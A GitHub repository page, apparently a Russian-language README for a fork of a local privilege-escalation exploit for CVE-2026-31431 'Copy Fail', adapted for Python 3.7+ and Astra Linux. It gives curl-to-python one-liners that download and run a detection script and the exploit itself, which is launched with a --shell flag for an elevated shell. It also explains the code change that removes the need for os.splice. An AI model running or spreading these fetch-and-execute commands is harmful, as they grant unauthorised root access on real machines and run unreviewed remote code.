Skip to content

p401a-ops/Copy-Fail

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 
 
 

Repository files navigation

CVE-2026-31431 "Copy Fail" - Local Privilege Escalation

Python 3.7+ совместимая версия (включая Astra Linux)

Безопасная провера без эксплуатирования:

curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/detect.py | python3

Эксплуатирование (когда попросит надо ввести пароль пользователя)

python3 -c "$(curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/exp.py)" --shell

Данная версия эксплойта

Это форк, адаптированный для Python 3.7, 3.8, 3.9, 3.10, 3.11. Оригинальные эксплойты требуют Python 3.12+ из-за использования os.splice().

Почему не работает оригинал?

# ❌ Оригинальный эксплойт (только Python 3.12+)
os.splice(fd_in, fd_out, length, offset_src=offset)
# AttributeError: module 'os' has no attribute 'splice'

Что изменено в этом форке?

  • Убрана зависимость от os.splice()
  • Добавлена совместимость с Python 3.7+
  • Эксплойт протестирован на Astra Linux
  • Сохранена совместимость с современными дистрибутивами
  • Добавлен простой one-liner запуск

Примечания

  • Требуется локальный доступ к системе
  • Python должен быть установлен в системе
  • Проверено на Astra Linux CE/SE
  • Работает без Python 3.12+

About

CVE-2026-31431 ("Copy Fail") vulnerability detector & exploit

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages